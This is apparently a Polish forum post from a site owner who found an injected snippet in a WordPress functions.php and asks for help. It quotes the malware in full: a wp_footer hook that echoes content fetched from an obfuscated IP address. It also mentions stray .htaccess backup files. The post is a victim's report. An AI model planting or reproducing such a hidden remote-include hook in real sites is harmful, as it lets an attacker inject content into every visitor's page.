Wirusy, dziwne pliki

Witajcie,
Spotkaliście się z takim czymś:

function footer_wp() {
echo (@file_get_contents("http://" . (150 + 38) . "." . (100 + 16) . "." . (49 + 7) . "." . (83 + 11) . "/wp_footer"));
}
add_action( 'wp_footer', 'footer_wp' );

Ten wpis jest w pliku functions.php
Do tego pojawiają się pliki np: .htaccess.171006124455.orig

Na serwerze mam ponad 20 stron, nie wiem od kiedy to jest ale spodziewam się że jak padnie wszystko to kopia zapasowa z przed miesiąca nic nie da. Póki co wszystko działa.

hosting: nazwa.pl
strony mają SSL